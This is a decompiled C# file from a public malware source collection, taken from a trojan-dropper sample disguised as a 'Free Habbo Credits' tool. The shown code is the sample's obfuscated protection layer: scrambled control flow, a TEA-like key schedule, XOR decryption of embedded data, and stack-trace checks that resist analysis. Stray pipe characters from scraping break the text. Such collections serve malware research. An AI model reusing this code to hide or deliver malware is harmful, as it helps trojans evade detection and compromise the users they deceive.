mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
461 lines
14 KiB
C#
461 lines
14 KiB
C#
// Decompiled with JetBrains decompiler
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// Type:
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// Assembly: qzqFreeHabboCredits, Version=924.8446.573.2307, Culture=neutral, PublicKeyToken=null
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// MVID: C68363C3-90B9-4B41-B73E-69250BBF6D04
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8.exe
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using System;
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using System.Collections.Generic;
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using System.Diagnostics;
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using System.Reflection;
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using System.Runtime.CompilerServices;
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using System.Text;
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using System.Threading;
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internal static class \u0003\u2000
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{
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private static \u0003\u2000.\u0002 \u0002;
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static \u0003\u2000()
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{
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\u0003\u2000.\u0002 obj = new \u0003\u2000.\u0002();
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if (false)
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return;
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\u0003\u2000.\u0002 = obj;
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}
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[MethodImpl(MethodImplOptions.NoInlining)]
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internal static long \u0002()
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{
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if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
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return 5038234971328056794;
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\u0003\u2000.\u0002 obj1 = \u0003\u2000.\u0002;
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if (true)
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goto label_24;
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label_3:
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Monitor.Enter((object) obj1);
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\u0003\u2000.\u0002 obj2;
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try
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{
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long num1 = \u0003\u2000.\u0002.\u0002();
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if (true)
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goto label_20;
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label_5:
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long num2;
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if (num2 == 0L)
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{
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Assembly executingAssembly = Assembly.GetExecutingAssembly();
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if (true)
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goto label_21;
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label_7:
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List<byte> byteList1 = new List<byte>();
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if (true)
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goto label_22;
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label_8:
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Assembly assembly;
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AssemblyName assemblyName;
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try
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{
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AssemblyName name = assembly.GetName();
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if (true)
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assemblyName = name;
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}
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catch
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{
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assemblyName = new AssemblyName(assembly.FullName);
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}
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byte[] collection = assemblyName.GetPublicKeyToken();
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if (collection != null && collection.Length == 0)
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collection = (byte[]) null;
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List<byte> byteList2;
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if (collection != null)
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byteList2.AddRange((IEnumerable<byte>) collection);
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byteList2.AddRange((IEnumerable<byte>) Encoding.Unicode.GetBytes(assemblyName.Name));
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int num3 = \u0003\u2000.\u0002(typeof (\u0003\u2000));
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int num4 = \u0003\u2000.\u0005.\u0002();
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byteList2.Add((byte) (num3 >> 24));
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byteList2.Add((byte) (num4 >> 16));
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byteList2.Add((byte) (num3 >> 8));
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byteList2.Add((byte) num4);
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byteList2.Add((byte) (num3 >> 16));
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byteList2.Add((byte) (num4 >> 8));
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byteList2.Add((byte) num3);
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byteList2.Add((byte) (num4 >> 24));
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int count = byteList2.Count;
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ulong num5 = 0;
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for (int index = 0; index != count; ++index)
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{
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ulong num6 = num5 + (ulong) byteList2[index];
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ulong num7 = num6 + (num6 << 20);
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num5 = num7 ^ num7 >> 12;
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byteList2[index] = (byte) 0;
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}
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ulong num8 = num5 + (num5 << 6);
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ulong num9 = num8 ^ num8 >> 22;
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num2 = (long) (num9 + (num9 << 30)) ^ -6616114120088140669L;
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\u0003\u2000.\u0002.\u0002(num2);
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goto label_19;
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label_22:
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byteList2 = byteList1;
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goto label_8;
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label_21:
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assembly = executingAssembly;
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goto label_7;
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}
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label_19:
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return num2;
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label_20:
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num2 = num1;
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goto label_5;
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}
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finally
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{
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Monitor.Exit((object) obj2);
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}
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label_24:
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obj2 = obj1;
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goto label_3;
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}
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[MethodImpl(MethodImplOptions.NoInlining)]
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internal static void \u0002(byte[] _param0)
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{
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if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
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return;
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long num1 = \u0003\u2000.\u0002();
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if (true)
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goto label_8;
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label_3:
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byte[] numArray1 = new byte[8];
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if (true)
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goto label_9;
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label_4:
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byte[] numArray2;
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long num2;
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numArray2[0] = (byte) num2;
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numArray2[1] = (byte) (num2 >> 40);
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numArray2[2] = (byte) (num2 >> 56);
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numArray2[3] = (byte) (num2 >> 48);
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numArray2[4] = (byte) (num2 >> 32);
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numArray2[5] = (byte) (num2 >> 24);
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numArray2[6] = (byte) (num2 >> 16);
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numArray2[7] = (byte) (num2 >> 8);
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int length = _param0.Length;
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if (true)
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goto label_10;
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label_5:
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int num3;
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for (int index = 0; index != num3; ++index)
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_param0[index] ^= (byte) ((uint) numArray2[index & 7] + (uint) index);
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return;
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label_10:
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num3 = length;
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goto label_5;
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label_9:
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numArray2 = numArray1;
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goto label_4;
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label_8:
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num2 = num1;
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goto label_3;
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}
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[MethodImpl(MethodImplOptions.NoInlining)]
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private static bool \u0002() => \u0003\u2000.\u0003();
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[MethodImpl(MethodImplOptions.NoInlining)]
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private static bool \u0003()
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{
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StackTrace stackTrace1 = new StackTrace();
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if (true)
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goto label_6;
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label_1:
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StackTrace stackTrace2;
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StackFrame frame = stackTrace2.GetFrame(3);
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if (true)
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goto label_7;
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label_2:
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StackFrame stackFrame;
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MethodBase methodBase1 = stackFrame == null ? (MethodBase) null : stackFrame.GetMethod();
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if (true)
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goto label_8;
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label_3:
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MethodBase methodBase2;
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Type type = (object) methodBase2 == null ? (Type) null : methodBase2.DeclaringType;
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return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly;
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label_8:
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methodBase2 = methodBase1;
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goto label_3;
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label_7:
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stackFrame = frame;
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goto label_2;
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label_6:
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stackTrace2 = stackTrace1;
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goto label_1;
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}
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private static int \u0002(Type _param0)
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{
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Type type = _param0;
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if (true)
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;
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return type.MetadataToken;
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}
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private sealed class \u0002
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{
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private int \u0002;
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private int \u0003;
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internal \u0002()
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{
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if (true)
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;
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// ISSUE: explicit constructor call
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base.\u002Ector();
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this.\u0002(0L);
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}
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[MethodImpl(MethodImplOptions.NoInlining)]
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internal long \u0002()
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{
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if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002).Assembly || !\u0003\u2000.\u0002())
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return 2918384;
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int[] numArray1 = new int[4];
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if (true)
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goto label_14;
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label_3:
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int[] numArray2;
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numArray2[3] = -~~--~~--~~627729805;
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numArray2[1] = ~--~~--~-~~1069225128;
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numArray2[2] = -~-~~--~~-~669527105;
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numArray2[0] = -~-~~--~~-388920300;
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int num1 = this.\u0002;
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if (true)
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goto label_15;
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label_4:
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int num2 = this.\u0003;
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if (true)
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goto label_16;
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label_5:
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int num3 = -~~-~--~-~~1640531527;
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if (true)
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goto label_17;
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label_6:
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int num4 = -~-~~-~--~~957401312;
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if (true)
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goto label_18;
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label_7:
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if (true)
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goto label_19;
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label_9:
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int num5;
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int num6;
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int num7;
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int num8;
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int num9;
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for (; num9 != 32; ++num9)
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{
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num5 -= (num6 << 4 ^ num6 >> 5) + num6 ^ num7 + numArray2[num7 >> 11 & 3];
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num7 -= num8;
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num6 -= (num5 << 4 ^ num5 >> 5) + num5 ^ num7 + numArray2[num7 & 3];
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}
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for (int index = 0; index != 4; ++index)
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numArray2[index] = 0;
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return (long) ((ulong) num5 << 32 | (ulong) (uint) num6);
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label_19:
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num9 = 0;
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goto label_9;
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label_18:
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num7 = num4;
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goto label_7;
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label_17:
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num8 = num3;
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goto label_6;
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label_16:
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num5 = num2;
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goto label_5;
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label_15:
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num6 = num1;
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goto label_4;
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label_14:
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numArray2 = numArray1;
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goto label_3;
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}
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[MethodImpl(MethodImplOptions.NoInlining)]
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internal void \u0002(long _param1)
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{
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if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002).Assembly || !\u0003\u2000.\u0002())
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return;
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int[] numArray1 = new int[4];
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if (true)
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goto label_13;
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label_2:
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int[] numArray2;
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numArray2[1] = -~~--~~-~-~1069225126;
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numArray2[0] = ~-~--~~-~-388920304;
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numArray2[2] = ~-~--~~-~-~669527101;
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numArray2[3] = -~~-~-~--~~627729803;
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int num1 = ~--~~-~-~1640531524;
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if (true)
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goto label_14;
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label_3:
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int num2 = (int) _param1;
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if (true)
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goto label_15;
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label_4:
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int num3 = (int) (_param1 >> 32);
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if (true)
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goto label_16;
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label_5:
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if (true)
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goto label_17;
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label_6:
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int num4;
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int num5;
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int num6;
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int num7;
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for (int index = 0; index != 32; ++index)
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{
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num4 += (num5 << 4 ^ num5 >> 5) + num5 ^ num6 + numArray2[num6 & 3];
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num6 += num7;
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num5 += (num4 << 4 ^ num4 >> 5) + num4 ^ num6 + numArray2[num6 >> 11 & 3];
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}
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for (int index = 0; index != 4; ++index)
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numArray2[index] = 0;
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this.\u0002 = num4;
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this.\u0003 = num5;
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return;
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label_17:
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num6 = 0;
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goto label_6;
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label_16:
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num5 = num3;
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goto label_5;
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label_15:
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num4 = num2;
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goto label_4;
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label_14:
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num7 = num1;
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goto label_3;
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label_13:
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numArray2 = numArray1;
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goto label_2;
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}
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}
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private static class \u0003
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{
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internal static int \u0002(int _param0, int _param1)
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{
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int num1 = _param0;
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if (true)
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;
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int num2 = _param1 - ~-~--~~-~1281856105;
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return num1 ^ num2;
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}
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internal static int \u0003(int _param0, int _param1)
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{
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int num1 = _param0;
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if (true)
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;
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int num2 = -~-~-~~-~1431545519;
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return num1 - num2 ^ _param1 + ~--~~-~-~-1541906380;
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}
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internal static int \u0005(int _param0, int _param1)
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{
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int num1 = _param0;
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if (true)
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;
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int num2 = _param1 - -~~-~-~-~-~-894686461 ^ _param0 - _param1;
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return num1 ^ num2;
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}
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}
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private sealed class \u0005
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{
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public \u0005()
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{
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if (true)
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;
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// ISSUE: explicit constructor call
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base.\u002Ector();
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}
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[MethodImpl(MethodImplOptions.NoInlining)]
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internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0005).Assembly || !\u0003\u2000.\u0002() ? -1509110933 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)))), \u0003\u2000.\u0002\u2000.\u0002());
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}
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private sealed class \u0006
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{
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public \u0006()
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{
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if (true)
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;
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// ISSUE: explicit constructor call
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base.\u002Ector();
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}
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[MethodImpl(MethodImplOptions.NoInlining)]
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internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0006).Assembly || !\u0003\u2000.\u0002() ? -82806859 : \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E)) ^ \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), \u0003\u2000.\u000E.\u0002())));
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}
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private sealed class \u0008
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{
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public \u0008()
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{
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if (true)
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;
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// ISSUE: explicit constructor call
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base.\u002Ector();
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}
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[MethodImpl(MethodImplOptions.NoInlining)]
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internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0008).Assembly || !\u0003\u2000.\u0002() ? 1294352278 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0006.\u0002() ^ ~--~-~~--~~-527758446, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E))), \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), -~-~-~~-~-38783456));
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}
|
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|
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private sealed class \u000E
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{
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public \u000E()
|
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{
|
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if (true)
|
||
;
|
||
// ISSUE: explicit constructor call
|
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base.\u002Ector();
|
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}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
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internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u000E).Assembly || !\u0003\u2000.\u0002() ? 402344241 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E)), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)), \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)))))));
|
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}
|
||
|
||
private sealed class \u000F
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||
{
|
||
public \u000F()
|
||
{
|
||
if (true)
|
||
;
|
||
// ISSUE: explicit constructor call
|
||
base.\u002Ector();
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u000F).Assembly || !\u0003\u2000.\u0002() ? -56237163 : \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0008.\u0002(), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)));
|
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}
|
||
|
||
private sealed class \u0002\u2000
|
||
{
|
||
public \u0002\u2000()
|
||
{
|
||
if (true)
|
||
;
|
||
// ISSUE: explicit constructor call
|
||
base.\u002Ector();
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
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internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2000).Assembly || !\u0003\u2000.\u0002() ? 1106695601 : \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005))), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)) ^ -~~--~~-~-~1036479759, \u0003\u2000.\u000F.\u0002())));
|
||
}
|
||
}
|